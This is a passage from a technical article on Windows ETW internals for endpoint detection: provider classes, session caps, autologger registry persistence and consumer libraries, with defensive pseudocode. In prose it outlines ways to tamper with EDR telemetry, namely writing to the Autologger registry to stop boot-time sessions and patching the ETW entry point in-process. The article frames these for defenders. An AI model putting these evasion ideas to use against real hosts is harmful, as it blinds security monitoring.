A synonym for *MOF provider*. The original ETW provider class introduced in Windows 2000. Registered with `RegisterTraceGuids`, emits events via `TraceEvent`, decoded against a MOF schema in the WMI repository. Capped at one trace session per provider.
&lt;p&gt;The MOF model was workable for a single-consumer world. A performance-tuning team running an in-house tool could enable the provider, capture, and disable. As the substrate of a security stack with multiple agents on the same host, it could not work. The mid-2000s had not yet produced a &quot;multiple agents on the same host&quot; world, so the limit did not bite immediately. By 2007 it would.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Era&lt;/th&gt;
&lt;th&gt;Schema location&lt;/th&gt;
&lt;th&gt;Sessions/provider&lt;/th&gt;
&lt;th&gt;Adoption in 2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MOF / classic&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;WMI repository&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Niche; mostly NT Kernel Logger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP&lt;/td&gt;
&lt;td&gt;2002&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.pdb&lt;/code&gt; (TMF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Pervasive inside Windows internals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manifest-based&lt;/td&gt;
&lt;td&gt;2007 (Vista)&lt;/td&gt;
&lt;td&gt;XML manifest&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Dominant for security telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TraceLogging&lt;/td&gt;
&lt;td&gt;2015 (Win10)&lt;/td&gt;
&lt;td&gt;Inline (TLV)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Rising for new app/service code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A handful of classic providers survived the 2007 transition and are still significant. The most important is the NT Kernel Logger [@ms-etw-sessions] [@ms-etw-sessions], the special-purpose system session that captures high-throughput kernel events: file I/O, disk I/O, registry operations, network packets. On most consumer SKUs it remains the only path to those event streams at line rate. Sysmon and most kernel-level diagnostics tools use the NT Kernel Logger or its modern descendants.The NT Kernel Logger is a system reserved logger. There is exactly one of it on a host, and the kernel itself owns the buffers. Tools that want kernel disk, file, registry, or network events at high throughput typically subscribe through it rather than through manifest providers. This is why a host can have eight &lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt; consumers but cannot easily have two simultaneous full-fidelity disk I/O traces.&lt;/p&gt;
&lt;p&gt;By 2007 Microsoft knew the one-session limit had to go. The fix shipped with Windows Vista in January 2007, and it was the central architectural decision of the entire ETW-as-EDR-substrate story.&lt;/p&gt;
&lt;h2&gt;4. Vista&apos;s eight sessions: the architectural decision that made the modern EDR endpoint possible&lt;/h2&gt;
&lt;p&gt;Park and Buch open their April 2007 MSDN Magazine article with the line that frames every later development:&lt;/p&gt;

On Windows Vista, ETW has gone through a major upgrade, and one of the most significant changes is the introduction of the unified event provider model and APIs. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;The new model raised the per-provider session cap from one to eight. That single number is why Defender, CrowdStrike Falcon, SentinelOne, Sysmon, and a researcher&apos;s SilkETW tap can all read &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; [@fireeye-silketw-launch] [@fireeye-silketw-launch] from the same host today without one of them stealing events from the others.&lt;/p&gt;
&lt;p&gt;The Vista model also unified two things that had been separate. ETW providers wrote to per-CPU ring buffers; the Win32 Event Log was a different facility with its own writer, its own format, and its own consumers. Park and Buch describe the unification verbatim:&lt;/p&gt;

The new unified APIs combine logging traces and writing to the Event Viewer into one consistent, easy-to-use mechanism for event providers. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;After Vista, a single &lt;code&gt;EventWrite&lt;/code&gt; call from a manifest-based provider lands both in the per-CPU ring buffer for ETW consumers &lt;em&gt;and&lt;/em&gt; in the &lt;code&gt;evtx&lt;/code&gt; channel for &lt;code&gt;wevtutil&lt;/code&gt; and Group Policy audit consumers, depending on how the manifest&apos;s channel mappings are configured. The &quot;Event Viewer&quot; the user sees is now a consumer of ETW.&lt;/p&gt;

The Vista-era ETW provider class. The provider author writes an XML manifest enumerating events, fields, tasks, opcodes, levels, keywords, and channels. The `mc.exe` message compiler turns the manifest into a binary resource embedded in the provider binary; `wevtutil im` registers the manifest with the system at install time. At runtime the provider calls `EventRegister` once per provider GUID and `EventWrite` per event. Capped at eight trace sessions per provider.

A logical destination for an event, declared in a manifest. The four standard channels are *Admin* (operational events for administrators), *Operational* (verbose events for operators), *Analytical* (high-volume events for diagnostics), and *Debug* (developer-only events). When the provider&apos;s `EventWrite` fires, the kernel demultiplexes by channel: events with channels enabled in the `evtx` configuration land in the corresponding channel log, while subscribed real-time consumers receive them through their session.
&lt;p&gt;The deployment pipeline for a manifest-based provider is heavier than for a classic provider. The author writes a manifest, compiles it, embeds the resource, and runs &lt;code&gt;wevtutil im&lt;/code&gt; at install time. Microsoft Learn calls out the distinction between provider registration and manifest installation [@ms-eventregister] [@ms-eventregister] explicitly, and notes that each process can register up to 1,024 providers [@ms-eventregister] [@ms-eventregister]. In practice few processes come close.&lt;/p&gt;

flowchart TD
    A[Author writes manifest.xml] --&amp;gt; B[mc.exe compiles to binary resource]
    B --&amp;gt; C[Resource embedded in provider .dll/.exe]
    C --&amp;gt; D[Installer runs wevtutil im manifest.xml]
    D --&amp;gt; E[System-wide manifest registry]
    F[Provider process at runtime] --&amp;gt; G[EventRegister GUID]
    G --&amp;gt; H[EventWrite per event]
    H --&amp;gt; I[Per-CPU ring buffer&lt;br /&gt;for ETW sessions]
    H --&amp;gt; J[Channel demux&lt;br /&gt;Admin / Operational / Analytical / Debug]
    J --&amp;gt; K[(.evtx log files)]
    I --&amp;gt; L[Real-time consumers]
    E -.decode metadata.-&amp;gt; L
    E -.decode metadata.-&amp;gt; K
&lt;p&gt;The cap rules now read like this: eight trace sessions can enable a manifest-based provider concurrently [@ms-about-etw] [@ms-about-etw]; up to 64 sessions can run on the system at once [@ms-etw-sessions] [@ms-etw-sessions]; &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt; when the per-provider cap binds [@ms-enabletraceex2] [@ms-enabletraceex2]. The 8-session number was chosen for ergonomics, not for security planning, but it is the load-bearing number in modern Windows endpoint security.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The eight-session cap on manifest-based providers is the single architectural decision that made multi-EDR coexistence on the same Windows host possible. Without it, the second EDR to subscribe to &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; would silently steal events from the first.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A 2007-era driver author shipping the inaugural &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; provider, GUID &lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;, authored a manifest declaring &lt;code&gt;ProcessStart&lt;/code&gt; (event ID 1), &lt;code&gt;ProcessStop&lt;/code&gt; (event ID 2), &lt;code&gt;ImageLoad&lt;/code&gt; (event ID 5), and so on. Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; could subscribe; the future CrowdStrike Falcon could subscribe; the future Sysmon could subscribe; the future SilkETW researchers could subscribe. None starves another. The Vista unification is the architectural enabler of the modern multi-EDR Windows endpoint.&lt;/p&gt;
&lt;p&gt;With multi-consumer concurrency solved, the next problems were authoring overhead and producer integrity. Two parallel paths branched off the Vista manifest model: TraceLogging for the first, the EtwTi PPL/ELAM gate for the second.&lt;/p&gt;
&lt;h2&gt;5. Two more provider classes: WPP for the kernel tree, TraceLogging for the app tier&lt;/h2&gt;
&lt;p&gt;Vista&apos;s manifest-based providers solved coexistence and decoding, but they were heavy to deploy. Microsoft shipped two more provider classes -- one older than Vista and one younger -- that traded manifest deployment for two different kinds of simplicity.&lt;/p&gt;
&lt;h3&gt;WPP: the C-preprocessor approach&lt;/h3&gt;
&lt;p&gt;WPP -- Windows software trace PreProcessor -- predates Vista. Community references and the Park &amp;amp; Buch description of ETW being &quot;abstracted into the Windows preprocessor (WPP) software tracing technology&quot; [@ms-park-buch-2007] place its first WDK ship in the Windows XP era; no Microsoft primary pins a specific build. It became the standard tracing facility inside the Windows kernel tree itself for years. The WDK page [@ms-wpp] [@ms-wpp] frames its purpose:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;WPP software tracing supplements and enhances WMI event tracing by adding ways to simplify tracing the operation of the trace provider. It is an efficient mechanism for the trace provider to log real-time binary messages.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A WPP provider is authored in C with macros that look like printf calls. The C preprocessor expands &lt;code&gt;DoTraceMessage(FlagId, &quot;Frobnicating widget %d&quot;, widgetId)&lt;/code&gt; into an &lt;code&gt;EventWrite&lt;/code&gt; call against an auto-generated provider GUID. Format strings are extracted at build time into a &lt;em&gt;Trace Message Format&lt;/em&gt; file embedded in the binary&apos;s &lt;code&gt;.pdb&lt;/code&gt;. The producer cost is the smallest of any ETW provider class: emitting an event is a function call plus a few stores into a buffer. There is no manifest to deploy, no XML to author.&lt;/p&gt;
&lt;p&gt;The corresponding decode cost is the highest. A WPP event arrives at the consumer as a binary payload referencing a TMF identifier. To turn that into a human-readable message the consumer needs the producer&apos;s &lt;code&gt;.pdb&lt;/code&gt; file. If you do not have the symbols for the binary that emitted the event, you do not know what the event means.&lt;/p&gt;
&lt;p&gt;That decode cost is why WPP did not become the EDR substrate. Sealighter&apos;s README puts the operational consequence verbatim:&lt;/p&gt;

A C-preprocessor-based ETW authoring path inherited from the XP-era WDK. Format strings are extracted to a TMF resource that lives in the producer&apos;s `.pdb`. Producer cost is minimal; decode cost requires the producer&apos;s symbol files. WPP providers inherit the classic one-session-per-provider cap and are pervasively used inside Windows itself for in-tree dev-time tracing.
&lt;blockquote&gt;
&lt;p&gt;&quot;WPP traces compounds the issues, providing almost no easy-to-find data about provider and their events.&quot; -- Sealighter README [@gh-sealighter] [@gh-sealighter]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WPP providers also inherit the classic one-session-per-provider cap [@ms-about-etw] [@ms-about-etw], which would have made them unworkable for multi-EDR consumption even if the decode problem were solved. So WPP became the kernel-tree internal tracing facility -- ubiquitous inside Microsoft&apos;s source tree, irrelevant outside it.&lt;/p&gt;
&lt;h3&gt;TraceLogging: schema in the payload&lt;/h3&gt;
&lt;p&gt;Eight years after Vista, in Windows 10 (2015), Microsoft shipped a parallel path that solved a different problem. TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about] keeps the eight-session cap of manifest providers but eliminates the manifest deployment burden:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;TraceLogging is a system for logging events that can be decoded without a manifest.&quot; -- Microsoft Learn, About TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A TraceLogging event carries its own schema inline. The event payload is a sequence of typed-length-value triples: a one-byte type tag, a length, and the data. A consumer that has never seen the provider before can still decode the event because the names and types of every field are &lt;em&gt;in the event&lt;/em&gt;. The provider author needs no XML manifest, no &lt;code&gt;mc.exe&lt;/code&gt;, no &lt;code&gt;wevtutil im&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The trade-off is per-event size. Inline schema strings cost bytes per event. For a high-volume provider emitting millions of events per minute, the per-event size matters and a manifest-based provider is correct. For a new component author who wants tracing without an install-time deployment dance, TraceLogging is the right answer.&lt;/p&gt;

A self-describing ETW provider class shipped in Windows 10. Schema is inline in each event payload as type-length-value triples; consumers decode without a manifest. Available from C/C++ via `TraceLoggingProvider.h`, from .NET via `EventSource` with `EtwSelfDescribingEventFormat`, and from WinRT via `LoggingChannel`. Inherits the eight-session cap from the manifest-based class.
&lt;p&gt;TraceLogging is also the unified path across runtimes. The same self-describing payload format is emitted from native C/C++, from .NET (when an &lt;code&gt;EventSource&lt;/code&gt; opts into &lt;code&gt;EtwSelfDescribingEventFormat&lt;/code&gt;), and from kernel-mode drivers [@ms-tracelogging-portal] [@ms-tracelogging-portal]. A consumer using TDH (the Trace Data Helper API) decodes them without distinguishing between the runtime that emitted them.&lt;/p&gt;
&lt;h3&gt;Four classes, four trade-offs&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;First Shipped&lt;/th&gt;
&lt;th&gt;Schema Location&lt;/th&gt;
&lt;th&gt;Sessions/Provider&lt;/th&gt;
&lt;th&gt;Decode without symbols/manifest?&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MOF / classic&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;WMI repository (&lt;code&gt;mofcomp&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Needs MOF&lt;/td&gt;
&lt;td&gt;Legacy components; NT Kernel Logger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP&lt;/td&gt;
&lt;td&gt;~2002&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.pdb&lt;/code&gt; (TMF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;No -- needs producer PDB&lt;/td&gt;
&lt;td&gt;In-tree Windows kernel dev-time tracing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manifest-based&lt;/td&gt;
&lt;td&gt;2007 (Vista)&lt;/td&gt;
&lt;td&gt;XML manifest, system-installed&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Needs installed manifest&lt;/td&gt;
&lt;td&gt;Shipping security telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TraceLogging&lt;/td&gt;
&lt;td&gt;2015 (Win10)&lt;/td&gt;
&lt;td&gt;Inline TLV in payload&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;New apps and services; cross-runtime&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sources for the table: [@ms-about-etw, @ms-etw-config, @ms-tracelogging-about, @ms-wpp].&lt;/p&gt;

For new shipping Windows components with a known event vocabulary and high volume, choose manifest-based: smallest per-event size, evtx integration, eight-consumer concurrency. For new cross-runtime open-source providers where deployment friction matters, choose TraceLogging: same eight-consumer concurrency, no XML to author, decodable everywhere. For in-source-tree dev-time tracing inside a binary you already have symbols for, WPP is fine. For new security-relevant providers, never choose classic: the one-session cap is structurally incompatible with multi-EDR coexistence.
&lt;p&gt;Four provider classes, four trade-offs. But every one of them shares a structural weakness: the producer fires from inside the calling process, and any code in that process can patch the runtime entry-point and silence the provider for itself. That is the weakness Adam Chester made famous in 2020, and the one EtwTi was built to defeat.&lt;/p&gt;
&lt;h2&gt;6. Sessions, buffers, and the autologger registry: where the telemetry actually lives&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;regedit&lt;/code&gt; on a Windows host and navigate to &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger&lt;/code&gt;. You are looking at the persistence surface of every trace session that survives a reboot on this machine -- and the persistence surface every modern EDR uses to install itself.&lt;/p&gt;
&lt;p&gt;A session is the unit ETW actually exposes to controllers. It owns a per-session pool of buffers, a writer thread, a destination (file or real-time consumer), and a list of providers it has subscribed to. The lifecycle is short. A controller fills out an &lt;code&gt;EVENT_TRACE_PROPERTIES&lt;/code&gt; structure [@ms-event-trace-props] [@ms-event-trace-props] with a session name, buffer size, logging mode, and destination, then calls &lt;code&gt;StartTrace&lt;/code&gt;. The kernel allocates the buffers -- at least two per logical processor [@ms-event-trace-props] [@ms-event-trace-props] -- and returns a session handle. The controller then calls &lt;code&gt;EnableTraceEx2&lt;/code&gt; [@ms-enabletraceex2] [@ms-enabletraceex2] for each provider it wants to subscribe to, passing &lt;code&gt;EVENT_CONTROL_CODE_ENABLE_PROVIDER&lt;/code&gt; along with the provider GUID, level, and keyword bitmask.&lt;/p&gt;
&lt;p&gt;If the provider&apos;s per-class session cap is already saturated, &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt;. If the caller lacks the privilege to enable that provider, it returns &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. We will see both error codes again later, on different paths.The default buffer size sweet spot is small. The Microsoft Learn primary states it explicitly: &quot;Trace sessions with large buffers (256KB or larger) should be used only for diagnostic investigations or testing, not for production tracing.&quot; [@ms-event-trace-props] Production session buffer sizes typically sit in the 32-64KB range.&lt;/p&gt;
&lt;p&gt;There are three logging modes. &lt;em&gt;File mode&lt;/em&gt; writes events to a sequential &lt;code&gt;.etl&lt;/code&gt; file on disk; the writer thread drains buffers to disk and the file grows. &lt;em&gt;Circular mode&lt;/em&gt; writes to a fixed-size file in a circular buffer; old events are overwritten when the file fills. &lt;em&gt;Real-time mode&lt;/em&gt; delivers events to a real-time consumer process via a kernel callback. Defender, EDR sensors, and Sysmon all use real-time mode for their hot paths; they may also write to file as a forensic backup.&lt;/p&gt;

A process that calls `OpenTrace` with `LogFileMode = EVENT_TRACE_REAL_TIME_MODE` and receives events live via a registered callback rather than from an `.etl` file on disk. Real-time consumers must keep up with producer rate or events are lost.
&lt;p&gt;The autologger registry path is what makes a session survive a reboot. A subkey under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&amp;lt;SessionName&amp;gt;&lt;/code&gt; defines a session that the kernel starts at boot, before most user-mode services are running. Each subkey&apos;s values configure the session: &lt;code&gt;BufferSize&lt;/code&gt;, &lt;code&gt;MaximumBuffers&lt;/code&gt;, &lt;code&gt;LogFileMode&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, plus a nested &lt;code&gt;&amp;lt;SessionName&amp;gt;\&amp;lt;ProviderGuid&amp;gt;&lt;/code&gt; subkey for each provider to enable.&lt;/p&gt;

A registry-persisted boot-time ETW session. The kernel reads `HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\` at boot, creates the session, enables the configured providers, and begins capture before user-mode services start. Defender&apos;s Sense agent, CrowdStrike&apos;s Falcon sensor, and Sysmon&apos;s driver all install autologgers here.
&lt;p&gt;Defender&apos;s &lt;code&gt;DiagTrack&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Diagnosis-PCW&lt;/code&gt;, the SQM kernel logger, the EventLog-Application channel autologger -- all live here (observable via &lt;code&gt;logman query -ets&lt;/code&gt; on a stock Windows install). Third-party EDRs add their own. The Palantir CIRT taxonomy [@palantir-tampering-wayback] (about which more in section 11) frames this registry surface as the persistent-tampering target: an attacker who can write to this subtree can disable an EDR&apos;s boot-time tracing without ever interacting with the running EDR process. The events of interest never get captured because the session never starts.&lt;/p&gt;
&lt;p&gt;There is a related concept worth naming: the &lt;em&gt;Global Logger&lt;/em&gt;. This is a special autologger session whose configuration lives in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger&lt;/code&gt;. It is the boot-time tracing path that comes online before any user-mode service, including before Sense and the EDR sensor. It exists to capture early-boot kernel events that no later session can record.&lt;/p&gt;

flowchart TD
    R[HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\] --&amp;gt; S1[DiagTrack-Listener]
    R --&amp;gt; S2[Defender-Listener]
    R --&amp;gt; S3[ThirdPartyEDR-Sensor]
    R --&amp;gt; SG[GlobalLogger]
    S2 --&amp;gt; S2P[Provider GUIDs subkeys]
    S2 --&amp;gt; S2C[BufferSize / MaximumBuffers / LogFileMode]
    S2 --&amp;gt; S2F[FileName=.etl path]
    S2P --&amp;gt; KS[Kernel reads at boot]
    S2C --&amp;gt; KS
    S2F --&amp;gt; KS
    KS --&amp;gt; Started[Session started before user-mode services]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;logman query -ets&lt;/code&gt; enumerates every live trace session on the host. Cross-reference against the subkeys in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; to find sessions configured to start at boot. Any unauthorised entry -- a session you do not recognise, an autologger pointed at a destination outside your EDR&apos;s data path, a provider GUID you cannot account for -- belongs in your incident response queue. We return to this in section 14.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt; from &lt;code&gt;EnableTraceEx2&lt;/code&gt; is the runtime symptom of the eight-session cap binding [@ms-enabletraceex2]. SOC engineers debugging multi-EDR coexistence problems should look for it in their sensor&apos;s diagnostic output. Eight subscribers per manifest provider is enough for the typical Defender + third-party EDR + Sysmon + research tap arrangement, but a host running multiple research-mode tracers can saturate it.&lt;/p&gt;
&lt;p&gt;Persistence solved: a session the OS starts at every boot. But who reads it? That requires a consumer process, and consumers are where the architecture forks along the security spectrum.&lt;/p&gt;
&lt;h2&gt;7. Consumer architecture: from &lt;code&gt;OpenTrace&lt;/code&gt; to KrabsETW to a 30-line process watcher&lt;/h2&gt;
&lt;p&gt;The consumer side of ETW is mechanically simple -- three calls to open a trace, register a callback, and process events -- but the choice of library tells you almost everything about what kind of EDR you are building.&lt;/p&gt;
&lt;p&gt;The native pattern is three Win32 calls. &lt;code&gt;EnableTraceEx2&lt;/code&gt; subscribes the session to a provider GUID with a level and keyword bitmask. &lt;code&gt;OpenTrace&lt;/code&gt; returns a handle on the session for consumption. &lt;code&gt;ProcessTrace&lt;/code&gt; blocks the calling thread, drains events from the kernel&apos;s per-CPU buffers, and dispatches each one to a registered callback. Each event arrives as an &lt;code&gt;EVENT_RECORD&lt;/code&gt; containing a header (provider GUID, event ID, level, keyword, opcode, timestamp, process ID, thread ID) and a payload that the consumer decodes.&lt;/p&gt;
&lt;p&gt;For manifest providers the consumer decodes via TDH (the Trace Data Helper API) against the system-installed manifest. For TraceLogging providers the consumer decodes from the inline TLV payload. For classic and WPP providers the consumer needs the MOF schema or the producer&apos;s PDB respectively.&lt;/p&gt;

The Win32 decoder API that turns a raw `EVENT_RECORD` payload into typed fields, using the registered manifest as the schema source. `TdhGetEventInformation` returns a `TRACE_EVENT_INFO` structure with the field names, types, and offsets; `TdhFormatProperty` extracts each field. TDH is what makes manifest events self-describing at the consumer end, even though the schema lives out of band.

sequenceDiagram
    participant C as Consumer process
    participant K as Kernel ETW subsystem
    participant P as Provider process
    C-&amp;gt;&amp;gt;K: StartTrace(session)
    C-&amp;gt;&amp;gt;K: EnableTraceEx2(session, providerGuid, level, keyword)
    K--&amp;gt;&amp;gt;P: Provider notified to begin emitting
    C-&amp;gt;&amp;gt;K: OpenTrace(session)
    K--&amp;gt;&amp;gt;C: TraceHandle
    C-&amp;gt;&amp;gt;K: ProcessTrace(handle) [blocking]
    P-&amp;gt;&amp;gt;K: EventWrite(payload)
    K--&amp;gt;&amp;gt;C: callback(EVENT_RECORD)
    P-&amp;gt;&amp;gt;K: EventWrite(payload)
    K--&amp;gt;&amp;gt;C: callback(EVENT_RECORD)
    Note over C,K: ProcessTrace returns only when session ends
&lt;p&gt;In production almost no one writes the raw three-call pattern. The library universe settled into a small set of widely-used wrappers, and the choice of wrapper maps almost one-to-one onto the kind of EDR the engineering team is building.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;krabsetw&lt;/strong&gt; [@gh-krabsetw] [@gh-krabsetw] is a Microsoft-authored C++ library that simplifies session and provider management. Its README explicitly notes the production caller: a C++/CLI wrapper called &lt;code&gt;Microsoft.O365.Security.Native.ETW&lt;/code&gt;, &quot;used in production by the Office 365 Security team. It&apos;s affectionately referred to as Lobsters.&quot; If you are building an in-house EDR or a security analytics pipeline in C++ on Windows, krabsetw is the default choice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/strong&gt; [@nuget-traceprocessing] [@nuget-traceprocessing] is the general-purpose .NET ETW library, distributed as a NuGet package and used heavily inside the .NET diagnostics community. Microsoft&apos;s separate &lt;code&gt;Microsoft.Windows.EventTracing.Processing.All&lt;/code&gt; package is the .NET TraceProcessing API [@ms-etw-portal] [@ms-etw-portal] that the Windows engineering team uses internally to analyze ETW data from the Windows engineering system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SilkETW&lt;/strong&gt; [@gh-silketw] [@gh-silketw], originally released by Ruben Boonen at FireEye in March 2019 [@fireeye-silketw-launch] [@fireeye-silketw-launch] (now maintained by Mandiant), wraps &lt;code&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt; to expose ETW telemetry to detection-engineering and threat-hunting workflows. SilkETW is the canonical &quot;blue team research&quot; consumer: the tool you reach for when you want to see what events a provider actually emits without writing C++.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sealighter&lt;/strong&gt; [@gh-sealighter] [@gh-sealighter], by &lt;code&gt;pathtofile&lt;/code&gt;, is a krabsetw-wrapping C++ tool that makes multi-provider subscription and filtering tractable from a JSON config. The README states: &quot;Sealighter leverages the feature-rich Krabs ETW Library to enable detailed filtering and triage of ETW and WPP Providers and Events.&quot; Sealighter is the canonical &quot;red/blue team triage&quot; consumer: more flexible than SilkETW, less code to write than raw krabsetw.&lt;/p&gt;
&lt;p&gt;The pitfalls are universal across all four libraries. The krabsetw README spells two of them out:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The call to &apos;start&apos; on the trace object is blocking so thread management may be necessary.&quot; -- [@gh-krabsetw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Throwing exceptions in the event handler callback ... will cause the trace to stop processing events.&quot; -- [@gh-krabsetw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both have caused real production outages. An EDR that throws an unhandled exception in its event callback dies silently as an ETW consumer, and the next event the provider emits goes nowhere.The &quot;throwing in the callback stops the trace&quot; pitfall is the gotcha that bites every team writing their first ETW consumer. The kernel does not catch the exception; the trace simply ends. A production-quality consumer wraps every callback in try/catch (or its language equivalent) and routes failures through a side channel, not through the trace itself.&lt;/p&gt;
&lt;p&gt;To make the structure concrete, here is what a 30-line &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; real-time consumer looks like, written in TypeScript pseudocode that mirrors the structure a Sealighter or krabsetw user would write:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: the structure of a krabsetw / Sealighter consumer
// for the Microsoft-Windows-Kernel-Process provider.&lt;/p&gt;
&lt;p&gt;const KERNEL_PROCESS_GUID = &quot;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&quot;;&lt;/p&gt;
&lt;p&gt;const session = new UserTraceSession(&quot;MyEdrSensor&quot;);&lt;/p&gt;
&lt;p&gt;const provider = new Provider(KERNEL_PROCESS_GUID);
provider.level = TraceLevel.Information;
provider.anyKeyword = 0xFFFFFFFFFFFFFFFFn;&lt;/p&gt;
&lt;p&gt;provider.onEvent = (event) =&amp;gt; {
  try {
    switch (event.id) {
      case 1: // ProcessStart
        const pid = event.fields.ProcessID;
        const imageName = event.fields.ImageName;
        const cmdLine = event.fields.CommandLine;
        console.log(`Process start pid=${pid} image=${imageName}`);
        break;
      case 2: // ProcessStop
        console.log(`Process stop pid=${event.fields.ProcessID}`);
        break;
      case 5: // ImageLoad
        console.log(`Image load ${event.fields.ImageName} into pid=${event.fields.ProcessID}`);
        break;
    }
  } catch (e) {
    // never let an exception escape the callback
    sideChannelLog(e);
  }
};&lt;/p&gt;
&lt;p&gt;session.enable(provider);
session.start();  // blocks until session.stop() is called
`}&lt;/p&gt;
&lt;p&gt;That code, in production form, is a working EDR sensor&apos;s process watcher. Every commercial Windows EDR has something with the same structure inside it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; krabsetw wraps the C++ surface and is the default for production in-house EDRs. TraceEvent wraps .NET and is the default for diagnostics tooling. SilkETW exposes ETW to detection engineers without C++. Sealighter wraps krabsetw with a config file for triage. Pick the library that matches the team that will own the consumer, not the one that looks most powerful.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is what Sysmon, Wazuh, and Elastic Defend look like under the hood -- a SYSTEM-privileged user-mode service consuming public providers. But there is one provider this code cannot subscribe to. Try it and &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. The next two sections are about the GUID that requires a passport.&lt;/p&gt;
&lt;h2&gt;8. The security provider catalogue: what EDRs actually read&lt;/h2&gt;
